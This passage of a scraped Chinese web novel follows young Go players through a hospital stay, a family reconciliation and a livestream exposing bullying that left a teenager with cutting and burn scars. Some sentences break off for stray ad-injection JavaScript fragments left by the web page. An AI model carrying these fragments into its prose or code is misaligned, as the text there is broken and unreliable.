“……他呢,当着外人的面,还总是一口一个宜歌师妹,鼓励你,说你有进步,就差一点就赢了,所有人都说他是模范师哥。”言宜歌皮笑肉不笑地举起叉子捶向桌面,咚一声响,“私下下棋的时候,怎么狠怎么下,盘面上到处都是阴招,杀光你的大龙,就笑眯眯的,说什么哎呀怎么又杀光了,师哥不是故意的。” 庭见秋笑说:“我一直觉得他非常体贴善良。” “对不熟的人,他是这样的,很能演。”言宜歌不忿地拖长音,“老戏骨。” 庭见秋面露了然地点点头,不知认同后那句“能演”,还是前半句“不熟”。 * 搭谢砚之的便车回江陵棋院,是庭见秋人生中第一次坐豪车。 也是人生中第一次体验在高架上以五十码的速度爬。 在高架上爬了十分钟之后,庭见秋眼看着一辆辆远逊于自己的车变道超车,更有甚者边超车边示威似的摁喇叭,深感蒙羞,忍不住侧过脸问身在驾驶座、气定神闲地把着方向盘的谢砚之: “我第一次坐这么好的车不太懂:请问两百万以上的车是没有油门是吗?” 谢砚之面不改色:“哈哈,你很幽默。” 庭见秋瞪大眼睛:“你不会是第一次开高架吧?” 其实这是他二十岁拿到驾照之后,第一次开车。 但他绝对不会说。 又一辆三万的车扭动着车屁股,从左侧超越后,插进了庭见秋身前的车位,一颠一颠地开远了,转向灯、车尾气都写满嘲讽。 庭见秋自诩心志强大,情绪稳定,唯二弱点是贪吃和好胜,最受不得这种挑衅,抓狂:“高架限速八十码啊八十码!” 谢砚之不语,眼尾耷拉,有些委屈。 “你别演,小歌跟我说了你是老戏——哎你怎么突然加速——” 窗缝之间,风鸣声陡然变得嘈杂,盖过庭见秋不自觉的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊呼声。保时捷911的启动速度名不虚传,她瞬时便被惯性抛掷到柔软的椅背上,胸腔仿佛一空,又在下一秒灌满了风,身子轻盈得几乎飘荡。高架之上,天风猎猎如刃,她的长发没有扎起,被鼓动得散乱,往面颊、眼帘割来,有些刺痛,眼前模糊一片。 她心知自己应该生气,谢砚之分明是故意使坏,却紧抓着门边把手,忍不住大笑出声。 一旁,总是摆出一副好脾气面孔的男人,竟流露出争强斗狠的少年心性,剑眉少见地微蹙着。耳畔,风响之中掺杂着她的笑声,如山涧溪水之间晶亮的碎石。 他随着她笑。 谢家别墅在郊区,江陵棋院在市中心,路途耗时近四十分钟。 庭见秋让谢砚之在棋院附近的一家湘菜馆子把她放下。 她太忙,罗佩佩和杨惠子都说要约她吃饭,她只好把两场约会并作一场,预支还没有到账的奖金来请客。好在佩佩和惠子都是社交悍匪,并不介意。透过小餐馆的橱窗,庭见秋看见窗边桌上,两枚她认得的圆脑袋,凑在一起研究着菜单。 谢砚之在路边停稳,目送她下车。她个不高,背着双肩包的时候像个高中生,怕碰到路边疾驰的电动车,探头探脑。 庭见秋走出两步,又折回来,绕到驾驶座边上,低下身子,敲了敲谢砚之脸边的窗户。 他降下窗来,问:“怎么了?” 庭见秋勾起一丝有些不怀好意的笑,抬手,越过窗沿,直勾勾地探进谢砚之因紧张而略略汗湿的领口,揪住领带,隔着薄衬衣贴着温软的颈部皮肤,轻轻地往下一扯。 纤巧微凉的手指在谢砚之领间触碰,游移,有些痒,他想不动,任她动作,却还是向后缩了缩脖子,本能地想躲。 “歪了。”她轻飘飘地说。 谢砚之放在腿侧的手攥紧。 他忘了说谢谢。 庭见秋理完领带,功成身退,进湘菜馆的时候,没忍住回头,恋恋不舍地看了一眼豪车。 然后眼睁睁看着谢砚之驶入主路的时候方向盘打太快,擦到路肩,碰掉一块至少价值五万块钱的漆。 她肉疼地“嘶”一声,不可置信地摇头。 有钱人的世界离她太远了,她完全无法理解。 * 谢砚之驶出百米,停在路边,打开手机点代驾。 他后知后觉地开始懊悔自己为什么要偷开谢颖的车,好像传闻中最闹心的青春期反叛,姗姗来迟地降临了。 偷开谢颖的车是其一。 去年十二月,因为蒋阳成初段的遭遇,和元天宇闹掰,与京城华一断崖式解约,也算是其一。 自幼,谢颖夸他最多的一句话就是懂事规矩。他蒙着孩提时习得的“懂事规矩”的人皮长大成人,如今人皮之下,似乎萌生出什么日益变形膨胀而他无力控制的什么—— 嫉妒。炫耀。和暴怒。 代驾点好了,五分钟之内会到。他正打算缓两口气,突然收到一条短信。 是蒋阳成: “谢哥,我看到昨天宜歌姐姐在记者会上的视频了。她很勇敢,京城华一因为她,气氛很紧张,一直避着记者。就连我,也被传染了一点反抗的勇气。” 他的心为了最后几个字突地一跳。 他想起去年十二月,在京城华一的男厕所里,在蒋阳成粗破毛衣袖管之下,刀痕历历的手臂。那都是男孩厌恨自己生命的证明。 面对蒋阳成的哭诉,谢砚之只能紧抓着十六岁男孩细瘦的手腕,不让他继续伤害自己。 后来,他最先反抗元天宇,当众摔门而去;再后来,是一向委曲求全、隐忍不发的言宜歌,怒而解约,在记者会上斥骂元家父子。 蒋阳成说得对,勇气是会传染的。 又一座枷锁即将被打破。 又一个年轻棋手,即将迎来新生。 24.没看上 庭见秋罕见地迟到了。 在等庭见秋的十几分钟里,佩佩和对面生着一双机灵圆眼的女记者,飞快地玩熟了。她给惠子看了自己的手工作品,超轻黏土啦、扭扭棒啦、拼豆啦,惠子捧场,夸得天花乱坠,还拿出自己做网媒多年积攒的经验,教她利用好自己的一技之长,做自媒体,闯小众赛道。 佩佩听得茅塞顿开,浮夸地连声说:“师父,请受徒儿一拜!” 她第一次知道自己自小被说成是玩物丧志的兴趣爱好,还有赚钱的潜力。 佩佩和惠子长达十几分钟的友谊,终结在了庭见秋进门时向她俩分别介绍彼此的时候。 她受伤捧心:“原来你就是那个坏记者!撤回师父!撤回一拜!” 这家湘菜馆子,是庭见秋选的。她嗜辣,这家口味最正宗。佩佩早点好她最爱吃的小炒黄牛肉,备注狠狠加辣,庭见秋十分受用,大勺舀来拌饭,吃得面不改色。 杨惠子被辣得满面通红、眼泪汪汪,一边“嘶嘶”叫一边讨水喝。 佩佩趁机报仇,抱着水壶不撒手:“不给你喝,谁让你写我们秋秋的负面新闻。” “真不是我!今天我都把证据带来了。”杨惠子大着舌头辩解,掏出手机,把她和同事们工作交接的聊天和邮件,全摆出来。 佩佩本想提醒庭见秋小心识人。她和庭见秋朝夕相处三年,最知道她的个性。 庭见秋是一块看似冰雕雪裁、却触手生温的玉石,干净纯洁,没有一点机心。她若立在海边,鸥鸟会为她降落。 佩佩担心杨惠子口齿伶俐,八面玲珑,随便摆几个证据就能使庭见秋放下戒心。 可她显然多虑了,身侧的庭见秋毫不客气地举起杨惠子的手机,上下翻检,看得仔细: 杨惠子在凌风体育,实在是个下等打杂社畜。摄影、采访、跑现场,最辛苦的活,大半都给她做,她终日里抱着相机跑来跑去,赶早场,熬夜场,分身乏术。将庭见秋奉为黑马的人物稿,是她软磨硬泡多时,加上确实写得好,才力争发表的;一般而言,她只能在上司的命令之下,写一些豆腐块大小的命题作文,由上司拼接整理,最终发表。 她是记者,笔却不在她的手上。 于记者而言,失声等于失权。 “所以我要宣布一件事——”杨惠子高举装着酸梅汁的透明塑料杯,起身,朗声道,“我辞职啦!老娘不干啦!” 庭见秋露出惊喜的神色,佩佩更是,死去了二十分钟的友谊又复活了,高兴地跳起来和杨惠子碰了个杯:“恭喜宝宝!拜拜就拜拜,下一个更乖!” “说到下一个工作……”杨惠子转向庭见秋,眼巴巴地,“秋秋,你们江陵长玫,宣传部还缺人吗?谢颖九段的团队太强悍了,前天凌风体育发的那篇你父亲的新闻,现在底下一边倒,全是为你说话的人。” 庭见秋惊讶地眨了眨眼,赶忙打开手机看凌风体育。 果然,前天的新闻底下,已被江陵长玫的公关团队攻陷,所有为庭见秋说话的声音,都被顶到了高赞。 佩佩凑过来看,好奇地指向一个账号:“这也是水军吗?” 一个ID为“正义小仇”、头像为大脸龇牙笑自拍的账号,给每一条站在庭见秋这边的评论回复了:“说得对呀!”“讲得好呀!”“很有道理!”“鞭辟入里!”像是最有情绪价值的四字短语开会。 杨惠子和庭见秋相对沉默了半晌。 这倒不是水军,但因为没有工作,可能比水军还闲。 看到熟悉的头像,庭见秋猛地反应过来,为什么这阵子仇嘉铭会出现在江陵。她提醒说:“仇嘉铭好像也打算签长玫哦,你们之前吵成这样,不会尴尬吗?” 杨惠子答:“我知道,他昨天晚上在直播里说了这事。” 庭见秋反应飞快:“你还看他直播啊?” 杨惠子瞬间舌头打结。 “这不是重点……总之,他在直播里说,通过他的不懈努力,谢颖终于同意,给他三次机会,如果他能下赢谢颖一局,就让他加入长玫,待遇按照他巅峰时期,也就是职业七段水平给。” 庭见秋好笑地扬了扬眉。 就凭仇嘉铭现在的状态,下赢她都得靠祖坟冒烟。 杨惠子低声说:“我也觉得不可能……但这家伙昨天晚上竟然真的好好在直播间里研究了一晚上谢颖的棋谱。” 除了他为了表达决心,对着镜子在脸上一左一右写了丑不堪言的“加油”两字之外,昨晚的直播,居然还挺励志的。他坐在棋桌前,认真看棋落子的时候,他那平日里显得憨直粗笨的浓眉大眼,竟然也有点顺眼起来。 她不知不觉看到两点多。因为他只摆棋,不说话,不耍宝,甚至不愿意腾出心力来解释自己的棋,非常赶客,所以,直播间里只有零星几个观众,收益也远低于往常。 隔着屏幕,杨惠子替仇嘉铭感受到寂寞。 讲话声音很大的家伙,一定是很害怕安静吧。 她投了个火箭筒。直播间里,火箭筒浮夸的视效和声效,终于吸引了仇嘉铭的注意,他扬起脸,露出一张被疲惫催得有些无神的眼,念出屏幕上的字: “谢谢这位……呃,接无良老板暴毙,的火箭筒。不是,这么暴力的ID这个平台也可以用吗?能过审核?” 一个火箭筒50块钱,两顿饭,省点能吃三顿。杨惠子后悔不迭,抬手给了自己一个大耳刮子。 “总之,说不定有奇迹呢?”杨惠子舌头打结得更厉害,“如果他能战胜谢颖,我也勉为其难高看他一眼啦。” 一旁无法加入谈话的佩佩像一只瓜田乱跳的滑溜小猹:“谁!怎么了!什么故事!” 庭见秋便指着“正义小仇”的头像,简单地讲了讲前因后果。 佩佩点开仇嘉铭头像大图,对杨惠子敬佩不已:“哇去这么帅你也骂得出口。” 庭见秋和杨惠子再次交换一个默契的眼神。 如果佩佩认识仇嘉铭,会被他那股贴脸的傻气熏到完全注意不到他的脸。 “话说,我最近因为秋秋的缘故,在看一些围棋比赛视频,我发现——”佩佩兴奋地,“你们棋手下棋的时候都是穿正装诶!” 庭见秋解释:“对,这是基本礼仪,正规棋赛上必须穿正装。” 佩佩呐喊:“好帅啊!” “等等,你看了谁的视频……” 一般来说,男棋手穿上正装,看起来就跟穿上了正装一样。除非是…… “就那天火锅店里那个, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢砚之啊!当时就觉得帅了,后来我挑着看了他比赛的视频,发现他下棋的时候更帅!” 谢国手爱美,名不虚传。任何时间任何地点,他永远花枝招展,是镜头的宠儿,媒体的心肝。 哪怕是在家吃个早餐。 佩佩虚晃一枪,直奔主题:“秋秋,窝边草这么帅,你舍得只做朋友?——哎呀,我忘了这还有个记者,不该问不该问。” 杨惠子八卦的表情瞬间转伤心:“我!从!良!了!” 庭见秋不避着杨惠子,认真地想了想这个问题,回答说:“做朋友很好,是安全平等、彼此欣赏的关系。” “懂了,我们秋秋没看上。” 庭见秋一笑,不置可否。 * 回到江陵棋院,庭见秋的生活又恢复如常:练棋,尤其是打磨她和赵良甫等人合力想出来的布局。 她预感到这种布局不仅新颖诡谲,出其不意,而且能最大限度地发挥她杀敌与治孤*的死活能力。 但那一晚时间有限,设计得太匆忙,最后她和言宜歌的那盘棋,成也布局,败,也败在她布局时过于潇洒的一招拆四上。 如今她不仅是为了七月份的定段而练棋,还为了整个江陵长玫的荣耀,更不敢懈怠。 被她空空抛掷的十三年,如一块巨石一般始终压在她胸口,提醒她必须用远超常人的努力,补足自己浪费的时间。 …… 一个星期后,谢砚之打来电话,告诉她世界女子邀请赛,亚军的五万元奖金,已经扣除税款,打进她的账上了。 “我妈说,让我带你去挑几件正装,比赛用。”谢砚之说起买衣服,头头是道,“我明天来接你。” 庭见秋嘱咐:“你别开车。” “……”谢砚之好脾气地应下,“好,我打车来接你。你声音怎么了?” 她有点哑,还有点鼻音。 庭见秋抽了抽鼻子:“没什么,感冒了。” 谢砚之嘱咐:“你要多睡觉,多吃饭。” 对面闷声应下。 翌日十点,谢砚之按照约定的时间来到江陵棋院,直上三楼,庭见秋常一人霸占的棋室。 庭见秋果然在,在棋桌前,像一尊木头似的,坐得入定,直愣愣地盯着棋,手却不动。 已是暮春,还称得上凉爽,庭见秋面上却两坨飞红。谢砚之进来,她也没什么反应。 谢砚之好奇地凑上去看棋,却被庭见秋的脸色一惊:“你不舒服吗?” 庭见秋这才听见声响似的,恍惚地将下巴扬起来,一双漂亮的狐狸眼无力地扑闪着,快合上,又挣扎着睁开,似乎不知道眼前在发生什么,小声地用鼻音反问一声:“嗯?” 谢砚之抬手,用手心去试她额头的温度,有分寸地没有贴上,隔了半寸的距离。 饶是如此,也能感受到一股热烘烘的温度,自她额上传来。 她却无意识地将脑袋往前伸了伸,乖觉主动地闭着眼贴了上去。额上、眼睑处的皮肤,火热细腻,鼻尖却一点冰凉。潮湿滚烫的呼吸,令谢砚之手一战,便撤回来,声音都变了形: “你怎么这么烫?” 庭见秋还是听不懂:“嗯?” 不好,傻了。 25.一米六 谢砚之又气又好笑:“撑着别睡,我叫救护车。” 庭见秋昏茫地点头。 他打了急救电话,又想起来:“你吃早饭了吗?” 不用问,看她恹恹沉沉没精神的样子,他心里就有了答案。 这会儿庭见秋倒是有回应:“没吃。吃了会犯困。” “……你在练棋还是在修仙啊?!” 一测体温,将近42度。 修成火德星君了。 好在救护车很快就到。谢砚之和棋院里的老师、同学帮着把半昏半醒的庭见秋扶下楼,送上担架,抬上车。谢砚之劝其他人回去忙,他会送庭见秋去急诊。 市第一医院不远,庭见秋挂了水就在救护车里安静躺下,谢砚之放下心来,坐在她身边。 没开出多远,庭见秋就开始不安分,嘴里念:“黑棋十二之七,长……” 还惦念刚刚在棋室里摆的那盘棋。 她说胡话,还要人捧场,挂着水的手猛地抬起来往谢砚之腿上一拍,埋怨:“该你了。” 谢砚之连忙用手心覆在她挑事的指上,轻轻握住,不让她再乱动。 他记性极好,对棋局更是过目不忘,略一回想,便答应说:“小飞。” “嘿嘿,你上当了。”庭见秋烧得人没力气,坏笑也软绵绵的,“我可以断。” 然后又歪头睡过去了。 谢砚之仍握着她的手指不放。 两分钟过去,庭见秋猛睁眼,对车顶中气十足地大喊一声:“刀、把、五!*” 把,四声,被她念得气势磅礴。 谢砚之好声好气,顺着她说:“好好好,刀把五刀把五。” 一旁的护士完全听不懂但是溺爱:“梅花六!” 司机跟:“黑桃七!” 一车凑了副顺子。 护士低眼,见两人虚虚牵着的手,随口对谢砚之说:“你女朋友虚得很,得增强体质,不能过度劳累。” 谢砚之微微一笑,应下了。 反倒是病号如垂死病中惊坐起,弹射起身:“是普通朋友!” 撇清关系之后又虚弱地倒下了,嘴里喃喃念:“小燕子,我怎么在天上飘?” 谢砚之知道她是烧出幻觉来了,将她手扣得更紧,俯下脸凑近,柔声安抚:“飘吧,我牵着你,飘不走。” 庭见秋终于踏实睡了。 到医院,谢砚之陪着她挂水、开药,又在急诊室里陪床,买了粥给她喝。庭见秋烧退了一半,人还病着,吃完粥又趴在床边对着垃圾桶全吐了,谢砚之耐心地扶着她的肩,帮她拨开落在颊边的头发。谢九段自小养尊处优,头一次照料人,挺有天赋。庭见秋恢复神志,担心耽误他备战几天后的云松杯本赛,他只笑笑:“本来今天就计划陪你买衣服的。” 午后,收到医院通知的季芳宴,从火车站匆匆赶来,被庭见秋惨白的脸色吓得当场在急诊室里大哭起来。 庭见秋:“老妈,我还没死……” 她知道季芳宴最害怕医院,闻到消毒药水味就犯恶心,用眼神示意谢砚之把她带出去。 谢砚之立马会意,向季芳宴露出他最讨长辈喜欢的微笑: “阿姨,我是见秋的普通朋友,我们先出去,我给您讲讲她现在的身体情况。” 季芳宴连连道谢说好,跟着走了,留下庭见秋一个人躺在床上,纳闷他咬字语气怎么有点怪。 第二日,谢砚之仍来探病,带了一堆庭见秋馋而医院也说能吃的,堆了一床头柜。趁着庭见秋巴望着床边的烧鸡食指大动,他又捉过庭见秋的手,在她左手手腕上系上一只智能手表。 庭见秋抬起手腕,表盘便亮了,她没见过,问:“这是什么?小天才电话手表?” “倒是打不了电话。”谢砚之边解释,边不客气地取过她的手机,刷她的脸解锁,下载APP,绑定手表,“但是可以检测你的睡眠、心率、血糖,反映你的身体状况。以后你身体不舒服,表会先提醒你。” “那它能看出我很馋吗?” 庭见秋指了指烧鸡。 谢砚之笑:“吃吧吃吧,都是你的。” 下午,谢砚之离开时,略带歉意地说明天不能来看她,他今晚要飞去岳州,准备参加云松杯本赛。 本来是上午的飞机,硬是被他拖了半日。 再一日,季芳宴为庭见秋办了出院。庭见秋还没好全,一想棋就晕得像刚从过山车上下来,季芳宴带她回老家云春住着调养。 在云春家中又躺两日,鸡汤都喝了五锅,庭见秋终于觉得复原得差不多,扶着楼梯下楼来,对季芳宴说,要回江陵下棋了。 季芳宴坐在沙发上,掀起眼皮冷冷地看她一眼,满身是她浸淫高中语文教育多年积攒下来的威压:“不许去。虽然五月已经很晚了,好在还有不少好学校在招聘,你准备一下就去应聘吧。” 一切又回到春节时的死结。仿佛她这近半年的努力,于季芳宴而言,毫无意义。 庭见秋说:“我不当老师,我要下棋。” 季芳宴像没听见一样:“反正你毕业论文不是早就写完了吗,毕业答辩之前,学校也不用去了,就在家待着。先去你母校云高应聘看看……” 庭见秋怒声:“我不当老师!” 在一楼卧室里看小电视的外婆听到声音,从房间里逛出来,面上是不自然的童稚与茫然,向客厅里争执的两人问:“秋秋放学了吗?庭女婿去接秋秋了吗?” 此刻提及庭岘,客厅陡然一静,母女二人都不约而同地侧过身,不让对方看见自己泛红的眼眶。 季芳宴从沙发上起身,扶过外婆,将她引回卧室里,像哄孩子一样柔缓地劝她:“去接了,一会就接回来了,接回来我们就吃饭,你女儿烧肉,你女婿炖鱼,你吃三碗,好不好?” 外婆眉开眼笑:“吃三碗,好哇!” 唯独被留在过去的人,幸福得格格不入。 待季芳宴送外婆回里屋,再出来,庭见秋已经上楼,没过半分钟,抱着一怀废品下来。 庭见秋将怀中废品散乱地搁在茶几上,拿起两个文具铁盒,打开,只见两盒里都是小指甲盖大小的方形橡皮,一盒黑,一盒白,边缘粗糙,是用尺子曲面锯成的: “妈,你以前不是问我为什么总丢橡皮吗?我问你要钱买新橡皮,你气得打我,说家里饭都要吃不起了,我还这么丢三落四,不爱惜东西。” 庭见秋深吸一口气,继续说: “那是因为你把家里所有的围棋都丢了,我想下棋想得睡不着,只好把黑色和白色的橡皮都切成小块,在作业本上摆棋。黑棋一百八十一,白棋一百八。白色橡皮摸多了,沾了手上的灰,会变脏,又得重新切。 “还有这些——” 她指着桌面上散乱的纸张,全是旧报纸、旧试卷、草稿纸。 “我用这些纸画棋盘,记棋谱,这些都是我的宝贝。我把它们藏在床底下,每次你在家里找废品去卖的时候,我都很紧张,怕你搜到我房间里的这些,把它们当废纸卖了。” 季芳宴怔怔地看着眼前扬着灰的废物。 这些都是女儿压抑的、沉默的青春。 庭见秋垂着脑袋,过度大声地说话,让她有点喘不上气,眼泪簌簌落下,她恍然不觉: “老妈,你可以把所有的围棋都丢掉,你可以把我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 关在家里,甚至可以把我绑在床上,让我哪都去不了。但你没办法让我不下棋。就连卧室天花板上的纹路,地砖拼成的网格,于我而言,也是纵横十九道。棋盘已经在我生命里了,你割不掉。” 季芳宴心痛不已,满脸爬满泪水,大声道: “你知不知道这回你进医院我有多害怕?你和你老爸一样,下棋下得疯掉了呀!我已经失去你老爸了,我不能再失去你了!” 这是季芳宴第一次对庭见秋提起庭岘的死。 这么多年来,她回避着庭岘的死。仿佛只要不提,庭岘就只是出了个远门,晚饭出锅的那一刻,他就会登着半锈的自行车,绕过两个街口,伴着傍晚最后一缕斜阳,乐呵呵地回家来,对季芳宴说:“对不起啦,我来晚了,老婆别生气!” 她破戒了。张口的瞬间,她感受到一股巨大的抽离,符咒失效,那辆老旧的自行车再如何拼命地转动轮子,也骑不到家门口。 他再也回不来了。 只剩下一个女儿,模样三分像他,聪慧懂事,还留在自己身边。 “你老爸是个矮子,和我一样,一米六高,一点都不英武,我都不知道自己怎么就看上他了。”她不知怎么就说起来,“如今好了,你也长到一米六,就不动了,一厘米也不长。有时候我看着你,都在想,可惜你爸爸没看到。如果他再活久一点,我们一家三口,一起出去玩,脑袋平平的,都一样高,那多好玩……” 她似骤醒,哭着抓住庭见秋的手,说:“秋秋,对不起,老妈错了,老妈不好,这么些年,一直爱你老爸,多过爱你。” 庭见秋和季芳宴一齐放声大哭起来,哭着哭着,季芳宴伸手将瘦削的女儿揽进自己的怀里,两手在她背后,似气急捶打,似抚摸劝慰,不住地乱拍乱敲,庭见秋也不喊痛,将脸埋在季芳宴肩上,像孩子一样哭得放肆大声。 这是十三年前没有完成的告别仪式。 庭见秋哭完,说:“老妈,我下棋之后,觉得老爸就回来了。我每次下棋,都觉得老爸站在我身后,看着我的棋,有时候摇头,有时候笑,说我下得好,不减他的威风,不愧是他的女儿。有时候,我下出一步棋,都忍不住想,这是我的棋吗,这更像老爸的棋吧,是不是他也馋下棋,借我的手过过瘾……” 季芳宴听着,破涕为笑:“倒是他干得出来的事情。” “老妈,你想老爸的话,就和我下棋吧。”庭见秋认真地看着季芳宴的眼睛,“正好这里有现成的棋盘,棋子,还像我小时候你俩那样,我让你九颗子,你来下下看。” 季芳宴笑着擦眼泪:“都这么多年了,你老爸教我的那些,我就只记得点三三了,真对不起他。” 她却还是将桌上画了棋盘的废纸摊开,径自取过装满黑色橡皮的铁盒:“来,闺女,陪老妈杀一局,看看有没有你老爸的风采。” * 当夜,庭见秋正收拾回江陵的行李,突然收到杨惠子的消息: “秋秋,快去看仇嘉铭的直播,蒋阳成要爆京城华一的大瓜,和谢砚之解约也有关系!!!” 她来不及问蒋阳成是谁,好奇地点开杨惠子发来的链接。 直播间界面分成左右两边,意味着主播正在连线。左侧是一个瘦小孱弱、看起来有些紧张的男孩,显然就是杨惠子所说的蒋阳成初段,两年前以第一名的成绩定段之后,签入京城华一;右侧是仇嘉铭,正对着观众义愤填膺地说: “……家人朋友们,我听小蒋说了之后,很愤怒啊。但我留了个心眼,去问了问我的人脉,结果他说的都是真的啊!今天我就请来小蒋上我的直播间,给大家都说说,京城华一内部的霸凌现象有多么严重。” 26.出走的勇气 夜深,谢砚之结束一天的赛前训练,回到酒店专门为云松杯选手准备的房间,才在手机上看到蒋阳成直播的消息。 来得太晚,直播已经接近尾声,好在有很多观众录屏他错过的部分。 蒋阳成不是京城华一年纪最小的棋手,却是最瘦弱的棋手,连发色都透着营养不良。自入队以来,他逢人总显得有些怯懦,不敢抬脸直视看人。 是一个把家境的不足写在脸上的孩子。 事实上,培养一名棋手,需要巨大的花销。无论是请老师,还是参加围棋培训班,都要缴纳不菲的费用。更何况,围棋定段不啻千军万马过独木桥,一旦失败,一切金钱与努力付诸东流,家境不好的家庭,一般也不敢如此豪赌。 于这样的家庭而言,最安全稳妥的培养孩子的方法,是让孩子按部就班地完成教育,考一个好的大学。 但蒋阳成的父母不一样。 他们真心地相信蒋阳成是个天才,尊重他的梦想,尽己所能,艰难地将他托举到了全国最好的围棋俱乐部。 谢砚之见过蒋阳成的母亲一次。 那时,蒋阳成签约不久,一个方脸的农妇,面皮皴黑,身材敦实,出现在华一俱乐部的门口。即便为了来京城穿上了最好的衣服,她还是动辄露怯,举止不安。蒋阳成接到母亲的电话,从俱乐部里跑出来见她,农妇将带来的卤牛肉和腊肠,塞到他手里就要走,生怕自己给蒋阳成丢了脸,蒋阳成舍不得她辛苦来了就要走,一边喊妈一边拉她。 一旁的谢砚之上前,请蒋阳成的母亲进华一俱乐部参观,看看儿子平日里训练生活的地方。 蒋阳成的母亲用方言浓重的口音连连说谢谢,手抬起来,却在碰到谢砚之袖管的下一秒又缩回去。谢砚之的衣服太好了,哪怕是农妇,也看得出来,这不是她可以轻易上手抚摸的衣服。 第二天,蒋阳成对谢砚之道谢,说他带母亲在俱乐部里玩了一天,吃了食堂,逛了健身房和休息区。这是他长这么大,见过母亲笑容最多的一天。 谢砚之根本不觉得这算什么事,只说不用往心里去。 后来他才意识到,他的无意之举,将蒋阳成的家境暴露在同事们面前,可能使原本就在京城华一不受待见的蒋阳成,遭遇了变本加厉的霸凌。 谢砚之虽然与京城华一签约,但和京城华一的联系并不很紧密。他不参加华一的内部训练,一年大多数时间在世界各地参加棋赛,只在比较重要的团体赛事中,作为京城华一的一份子露面。他一直知道京城华一内部氛围不太融洽,但也只以为是寻常的不合。 直到年末的一日,他在一个平日不常去的男厕所里,见到一边啜泣一边伤害自己的蒋阳成。 蒋阳成哭着对他说:“谢哥,我以为只要能定段,我就能做棋手,就能参加比赛,但我在京城华一的这一年,他们只让我打杂,把我当宣泄情绪的垃圾桶。谢哥,我呆不下去了,我想走,但我妈病着,尿毒症,每周透析,她还等着我的工资,家里供我学棋花光了所有的钱,更没钱让我解约。谢哥,没有比赛打,我和我妈都活不下去了。” 谢砚之紧抓蒋阳成细弱手腕不放的手,因为愤怒而剧烈颤动着。 男孩还恳求说:“谢哥,这里只有你对我好,求你不要把这些事跟别人说,我心里不舒服,划两刀就好了。” 那一天,不轻易许诺的谢砚之,向蒋阳成保证:他会去和元天宇谈谈,让华一推举蒋阳成上明年的云松杯。云松杯作为国内奖金最高的赛事,即便没有进入本赛,也能获得曝光度,得到练习。之后蒋阳成会有更多的比赛机会。 对谢砚之,元天宇一向很客气。一是因为谢砚之身负国手头衔,棋力举国顶尖。二是因为他有一个名叫谢颖九段的母亲,雄踞在长江以南,和北部京城的华一俱乐部、元家父子相颉颃。 谢砚之开口,元天宇非常爽快,立时应下。 然而,最终,京城华一选送参加云松杯的20人名单里,没有蒋阳成。自然也没有言宜歌,和诸多虽有能力,却无背景无条件的棋手。 谢砚之的名字赫然在榜,和那些不知输送多少利益的姓名挨在一起,令他觉得无比恶心。 他讶异于元天宇如此轻易地毁约。 在棋手的教育体系之中,品性比棋力更重要。季札挂剑,商鞅立木,然诺重于千金。 这一刻他才意识到,元天宇根本算不上是什么棋手。他是一个彻头彻尾的商人。 …… 虽然仇嘉铭在宣传直播的时候,蹭了谢砚之的热度,说要揭露谢砚之解约的隐情。但实际上,直播里,蒋阳成很少提到谢砚之,显然是不希望自己的事牵连到他。 冲着谢九段来看直播的观众失望而去,只剩下一群“虽然早就知道京城华一很烂但还是想看看京城华一到底有多烂”的观众,留在直播间里,刷屏议论。 有观众质问蒋阳成:【说来说去不过是你的一面之词,证据在哪里?】 蒋阳成深吸一口气,对着镜头,拉下T恤的领口: 锁骨、颈窝,满是烟头灼伤的痕迹。他皮肤天生偏深,一个一个细小的圆形疤痕,有新有旧,边缘隆起,泛着不自然的淡肉色。 他太瘦了,骨骼突出,俱乐部里的太子爷们,拿他当烟灰缸。 伤痕触目惊心,一经露出,直播间里弹幕四起: 【我的天呐,这总不可能是污蔑了,没有人会为了诋毁东家自己烫自己……】 【何况有几个伤看起来很旧了,不可能是临时准备的。】 【心疼弟弟,虎摸。】 【霸凌咖不得好死,弟弟勇敢点,把他们的名字都说出来。】…… 也有不和谐的声音: 【如果霸凌真实存在,你为什么不早点披露出来?】 【就是啊,你如果早点说,该抓抓,也省得霸凌咖去祸害其他人。】 【笑死,这弟弟鬼精着呢,明天就是云松杯本赛第一天,元天宇和谢砚之都入围了,挑这个时间点爆料,不就摆明了要搞元天宇心态吗?】 仇嘉铭正要帮着说话,一向低眉顺眼的男孩却突然对着屏幕另一侧,挺直了胸膛呛声:“解约费一百万,闹掰了你帮我付?我妈妈还在医院里,医药费你帮我付?不是所有人都有优越的条件,受了委屈就能反抗,像我这种人,为了生存就只能忍。” 弹幕又问:【那弟弟解约之后,打算怎么还这么大一笔钱呢?】 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绝大多数普通人,终其一生也很难攒出一百万。更何况是蒋阳成。农村出身,家里没有资产和背景,为了成为职业棋手,初中的课程都没有上完,没有文化知识和文凭,除了下棋,一无所长。 蒋阳成坚定地说:“我知道我只是初段,没有拿得出手的战绩和奖项,可能不会有棋队愿意收留我。就算下不了棋了,只要有力气,肯干活,一分一分赚,我也能照顾好家人,还上这笔钱。” 正当这时,屏幕上炸开五十辆游艇。 仇嘉铭吓得从椅子上弹了出去:“我去,过气主播好久没见过这阵仗了,看看是哪位老板……” 刚刚在直播间里豪掷五千块钱礼物的老板,是顶着默认头像、实名上网的言宜歌,她第一次上直播网站,摸索着注册了一个新号。 礼物的备注是:【全都给小蒋。仇嘉铭你要是敢昧一分钱就等着死吧。】 弹幕惊呼: 【北极兔豪气啊。】 【宜歌妹妹想帮忙,为什么不给蒋阳成转账啊?平台会抽成耶。】 【对啊,宜歌不是也欠着京城华一的债吗?好像没有阔到可以接济弟弟的地步吧!】 在租金便宜的小公寓里独自上网的言宜歌,对着弹幕,在震惊中缓缓瞪大了眼睛。 她还是第一次知道平台有抽成这回事。她只是选了最炫酷的出场方式,想给蒋阳成撑腰。 她肉疼地猛吸了一口方便面。面条风干又泡软,碎在嘴里,一股科技与贫穷的味道。 电脑屏幕中,蒋阳成眼眶有点湿润,连声对言宜歌道谢。 